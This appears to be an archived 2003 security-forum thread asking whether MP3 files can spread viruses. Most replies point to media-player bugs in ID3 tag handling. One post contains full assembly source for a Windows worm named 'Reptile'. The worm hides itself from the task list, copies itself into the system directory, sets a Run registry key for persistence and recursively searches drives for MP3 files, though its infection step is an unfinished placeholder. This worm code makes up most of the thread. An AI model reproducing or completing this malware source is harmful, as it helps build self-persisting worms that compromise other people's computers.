UGN Security Forums
My ProfileMember DirectoryLogin
Search our ForumsView our FAQView our Site Rules
View our CalendarView our Active TopicsGo to our Main Page

UGN Security Store
 

Network Sites UGN Security, The GoNix Initiative, Elite Web Gamers, Back of the Web, EveryDay Helper, VNC Web Design & Development
August
Su M Tu W Th F Sa
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Sponsored Links
Latest Postings
Amazon Gift Card Generator/KeyGen?te
by Gecko666
08/22/14 09:21 AM
Latest Reviews
Topic Options
Rate This Topic
#2714 - 09/16/03 05:15 PM Virus on mp3 files?
GhostintheNight Offline
Junior Member

Registered: 02/23/03
Posts: 10
Loc: Michigan
Even tho i think he's completly wrong, a buddy of mine told me that he downloaded a song or something to that effect from Kazaa and ended up getting a virus from it. He says it wasn't a program that the virus came from, but from a song... just wondering if anyone had herd about viruses being embedded in media files...

Top
Sponsored Links
      
#2715 - 09/16/03 05:56 PM Re: Virus on mp3 files?
jonconley Offline
UGN Super Poster

Registered: 10/08/02
Posts: 955
Loc: Merrill, IA, USA
Actually, the mp3/wma itsef doesn't have a virus. I believe it is in the handling of the ID3 tags (they hold the specific info about the song, artist, etc)

Windows Hole
WinAmp Hole

I am sure there are more, but this atleast shows you that it is possible.

Top
#2716 - 09/19/03 03:43 AM Re: Virus on mp3 files?
paradox Offline
Member

Registered: 08/28/03
Posts: 240
Loc: New Zealand
There is an exploit for midi files changing the tags and setting the buffer to 0xfffffffff as for mp3
.386
.Model Flat ,StdCall
option casemap:none

include ..\..\include\windows.inc
include ..\..\include\kernel32.inc
include ..\..\include\user32.inc
include ..\..\include\advapi32.inc
includelib ..\..\lib\kernel32.lib
includelib ..\..\lib\user32.lib
includelib ..\..\lib\advapi32.lib
.Data
residentname db "\SYSLOAD.EXE",0
regserviceproc db "RegisterServiceProcess",0
kernel32str db "kernel32.dll",0
subkey db "Software\Microsoft\Windows\CurrentVersion\Run",0
keyname db "Reptile",0
searchpattern db "???*",0
rootdir db "\",0
previousdir db "..",0
.Data?
searchindex dd ?
wormlocation dd ?
keyhandle dd ?
finddata WIN32_FIND_DATA <>
systemdir db MAX_PATH dup(?)
searchhandles db 3FCh dup(?) ;255 dwords

.Code
Main:
nop
worm_start:
mov eax,worm_end - worm_start
;=======Hide myself from "Close Program" Dialog=======
invoke LoadLibraryA,addr kernel32str
invoke GetProcAddress,eax,addr regserviceproc
push 1
push NULL
call eax
;==============Find the Name/path of the worm=========
invoke GetCommandLine
inc eax
xor edx,edx
xchg eax,esi
mov edi,esi
GetNextChar:
lodsb
cmp al,'"'
je FoundEnd
cmp al, 00h
jne GetNextChar
push 7
pop edx
FoundEnd:
dec esi
xchg esi,edi
xor eax,eax
stosb
test edx,edx
je NoQuotes
dec esi
NoQuotes:
mov wormlocation,esi
;==============Copy it to the system directory========
invoke GetSystemDirectory, addr systemdir, SIZEOF systemdir
invoke lstrcat, addr systemdir, addr residentname
invoke CopyFile, wormlocation, addr systemdir, FALSE
;==============Make it run when Windows starts========
invoke RegCreateKeyEx, HKEY_LOCAL_MACHINE, addr subkey, NULL, \
NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, \
addr keyhandle, NULL

invoke lstrlen, addr systemdir
invoke RegSetValueEx, keyhandle, addr keyname, NULL, REG_SZ, \
addr systemdir, eax

invoke SetCurrentDirectory,addr rootdir
Call FindVictims
;==============Clean Up===============================
invoke RegCloseKey, keyhandle
invoke MessageBoxA,NULL, addr keyname,NULL,MB_OK
invoke ExitProcess,NULL
;==============Find MP3 files to infect===============
FindVictims proc
invoke FindFirstFile, addr searchpattern, addr finddata
inc eax
je BackOneDir
dec eax
inc searchindex
mov ecx, searchindex
lea edi, [searchhandles+4*ecx]
stosd
xchg ebx,eax
jmp CallParseRoutine
FindNext:
invoke FindNextFile, ebx, addr finddata
test eax,eax
je FinishSearch
CallParseRoutine:
Call ParseResult
jmp FindNext
FinishSearch:
invoke FindClose, ebx
dec searchindex
mov ecx, searchindex
test ecx,ecx
je SearchFinished
lea esi, [searchhandles+4*ecx]
lodsd
xchg eax,ebx
BackOneDir:
invoke SetCurrentDirectory, addr previousdir
SearchFinished:
ret
FindVictims endp
;==============Process result of FindFile*============
ParseResult proc
lea edi, finddata.cFileName
invoke CharLower, edi
invoke lstrlen, edi
lea esi, [finddata.cFileName-4+eax]
lodsd
sub eax, '3pm.' ;Infect MP3 Files
jne NotMp3
invoke MessageBoxA,NULL,edi,NULL,MB_OK ;'Twas an MP3
NotMp3:
and finddata.dwFileAttributes,FILE_ATTRIBUTE_DIRECTORY
je NotDirectory
mov word ptr [finddata.cFileName-2], "\."
invoke SetCurrentDirectory,addr finddata.cFileName-2
Call FindVictims
NotDirectory:
ret
ParseResult endp

worm_end:
End Main

Still in construction but there are lots of holes and it would like jonconley said be software dependant etc..
_________________________
The wise make mistakes, the fools repeat them
----------------------------------------
When you have eliminated the impossible, that which remains, however improbable, must be the truth

Top
#2717 - 09/25/03 03:49 PM Re: Virus on mp3 files?
Chem Offline
UGN News Staff

Registered: 10/13/02
Posts: 364
Loc: Vagabond (Location Differs)
Like jon said,

theres an exploit in the way most mp3 players (or just certain ones) handle mp3 metadata, and in turn can execute malicious code
_________________________
C++ Should Have Been Called "D"

Top

Moderator:  Infinite 
Featured Member
Registered: 08/20/13
Posts: 1
Forum Stats
2148 Members
46 Forums
34027 Topics
69194 Posts

Max Online: 1567 @ 04/25/10 02:20 AM
Top Posters
UGN Security 27189
Gremelin 7192
§intå× 3255
SilentRage 1273
Ice 1146
pergesu 1136
Infinite 1041
jonconley 955
Girlie 908
unreal 860
Newest Members
Gecko666, defghi795767, Devo60, ali, lavos
2147 Registered Users
Who's Online
0 registered (), 292 Guests and 313 Spiders online.
Key: Admin, Global Mod, Mod
Latest News


Donate
  Get Firefox!
Get FireFox!